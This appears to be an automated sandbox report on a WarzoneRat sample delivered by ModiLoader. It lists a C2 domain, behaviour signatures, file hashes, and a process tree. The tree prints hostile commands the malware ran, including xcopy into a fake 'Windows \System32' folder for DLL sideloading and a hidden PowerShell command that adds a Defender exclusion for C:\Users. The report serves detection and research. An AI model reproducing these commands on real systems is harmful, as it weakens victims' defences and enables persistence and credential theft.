Analysis

  • max time kernel
    145s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/04/2023, 05:56

General

  • Target
    SWIFT.exe
  • Size 847KB
  • Sample230412-gm2cvsbh5x
  • SHA256 a2231cdfce2e5ec3adcdb8535b1663da96d390e65c0f0c83c385a96d97790f0e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • warzonerat

C2
  • nightmare4666.ddns.net:3443

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

  • ModiLoader Second Stage 1 IoCs
  • Warzone RAT payload 7 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SWIFT.exe
    "C:\Users\Admin\AppData\Local\Temp\SWIFT.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4880
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\YdxbmjweO.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1696
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
        3⤵
          PID:4036
        • C:\Windows\SysWOW64\xcopy.exe
          xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
          3⤵
          • Enumerates system info in registry
          PID:4156
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
          3⤵
            PID:748
          • C:\Windows\SysWOW64\xcopy.exe
            xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
            3⤵
            • Enumerates system info in registry
            PID:5044
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
            3⤵
              PID:5100
            • C:\Windows\SysWOW64\xcopy.exe
              xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y
              3⤵
              • Enumerates system info in registry
              PID:1644
            • C:\Windows \System32\easinvoker.exe
              "C:\Windows \System32\easinvoker.exe"
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:4968
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3760
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                  5⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5080
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1 -n 6
              3⤵
              • Runs ping.exe
              PID:764
          • C:\Users\Public\Libraries\ewjmbxdY.pif
            C:\Users\Public\Libraries\ewjmbxdY.pif
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Accesses Microsoft Outlook profiles
            • outlook_office_path
            • outlook_win_path
            PID:1400

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              __PSScriptPolicyTest_csb1qsdt.sfy.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_csb1qsdt.sfy.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              freebl3.dll

              • Path C:\Users\Admin\AppData\Local\Temp\freebl3.dll
              • Size 326KB
              • SHA256 2b00fc4f541ac10c94e3556ff28e30a801811c36422546a546a445aca3f410f7
              • MD5 SHA1 SHA512 SSDEEP

              mozglue.dll

              • Path C:\Users\Admin\AppData\Local\Temp\mozglue.dll
              • Size 133KB
              • SHA256 fb419a60305f17359e2ac0510233ee80e845885eee60607715c67dd88e501ef0
              • MD5 SHA1 SHA512 SSDEEP

              msvcp140.dll

              • Path C:\Users\Admin\AppData\Local\Temp\msvcp140.dll
              • Size 429KB
              • SHA256 334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4
              • MD5 SHA1 SHA512 SSDEEP

              nss3.dll

              • Path C:\Users\Admin\AppData\Local\Temp\nss3.dll
              • Size 1.2MB
              • SHA256 78758bf7f3b3b5e3477e38354acd32d787bc1286c8bd9b873471b9c195e638db
              • MD5 SHA1 SHA512 SSDEEP

              softokn3.dll

              • Path C:\Users\Admin\AppData\Local\Temp\softokn3.dll
              • Size 141KB
              • SHA256 bb3ff746471116c6ad0339fa0522aa2a44a787e33a29c7b27649a054ecd4d00f
              • MD5 SHA1 SHA512 SSDEEP

              vcruntime140.dll

              • Path C:\Users\Admin\AppData\Local\Temp\vcruntime140.dll
              • Size 81KB
              • SHA256 c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d
              • MD5 SHA1 SHA512 SSDEEP

              KDECO.bat

              • Path C:\Users\Public\Libraries\KDECO.bat
              • Size 155B
              • SHA256 37c59c8398279916cfce45f8c5e3431058248f5e3bef4d9f5c0f44a7d564f82e
              • MD5 SHA1 SHA512

              YdxbmjweO.bat

              • Path C:\Users\Public\Libraries\YdxbmjweO.bat
              • Size 411B
              • SHA256 5a11c5641c476891aa30e7ecfa57c2639f6827d8640061f73e9afec0adbbd7d2
              • MD5 SHA1 SHA512

              easinvoker.exe

              • Path C:\Users\Public\Libraries\easinvoker.exe
              • Size 128KB
              • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
              • MD5 SHA1 SHA512 SSDEEP

              ewjmbxdY.pif

              • Path C:\Users\Public\Libraries\ewjmbxdY.pif
              • Size 182KB
              • SHA256 8e104cc58e62de0eab837ac09b01d30e85f79045cc1803fa2ef4eafbdbd41e8d
              • MD5 SHA1 SHA512 SSDEEP

              ewjmbxdY.pif

              • Path C:\Users\Public\Libraries\ewjmbxdY.pif
              • Size 182KB
              • SHA256 8e104cc58e62de0eab837ac09b01d30e85f79045cc1803fa2ef4eafbdbd41e8d
              • MD5 SHA1 SHA512 SSDEEP

              netutils.dll

              • Path C:\Users\Public\Libraries\netutils.dll
              • Size 108KB
              • SHA256 02212f763b2d19e96651613d88338c933ddfd18be4cb7e721b2fb57f55887d64
              • MD5 SHA1 SHA512 SSDEEP

              easinvoker.exe

              • Path C:\Windows \System32\easinvoker.exe
              • Size 128KB
              • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
              • MD5 SHA1 SHA512 SSDEEP

              easinvoker.exe

              • Path C:\Windows \System32\easinvoker.exe
              • Size 128KB
              • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
              • MD5 SHA1 SHA512 SSDEEP

              netutils.dll

              • Path C:\Windows \System32\netutils.dll
              • Size 108KB
              • SHA256 02212f763b2d19e96651613d88338c933ddfd18be4cb7e721b2fb57f55887d64
              • MD5 SHA1 SHA512 SSDEEP

              netutils.dll

              • Path C:\Windows \System32\netutils.dll
              • Size 108KB
              • SHA256 02212f763b2d19e96651613d88338c933ddfd18be4cb7e721b2fb57f55887d64
              • MD5 SHA1 SHA512 SSDEEP

              KDECO.bat

              • Path C:\windows \system32\KDECO.bat
              • Size 155B
              • SHA256 37c59c8398279916cfce45f8c5e3431058248f5e3bef4d9f5c0f44a7d564f82e
              • MD5 SHA1 SHA512

              memory/1400-206-0x0000000000400000-0x0000000000568000-memory.dmp

              memory/1400-185-0x0000000000400000-0x0000000000568000-memory.dmp

              memory/1400-192-0x0000000000400000-0x0000000000568000-memory.dmp

              memory/1400-193-0x0000000000400000-0x0000000000568000-memory.dmp

              memory/1400-199-0x0000000008150000-0x00000000081F7000-memory.dmp

              memory/1400-190-0x0000000000400000-0x0000000000568000-memory.dmp

              memory/1400-232-0x0000000008150000-0x00000000081F7000-memory.dmp

              memory/1400-191-0x0000000000400000-0x0000000000568000-memory.dmp

              memory/1400-231-0x0000000000400000-0x0000000000568000-memory.dmp

              memory/4880-136-0x0000000000400000-0x00000000004D6000-memory.dmp

              memory/4880-135-0x0000000002270000-0x0000000002271000-memory.dmp

              memory/4880-133-0x00000000028D0000-0x00000000028FC000-memory.dmp

              memory/4968-166-0x00000000613C0000-0x00000000613E2000-memory.dmp

              memory/5080-179-0x00000185FE1D0000-0x00000185FE1F2000-memory.dmp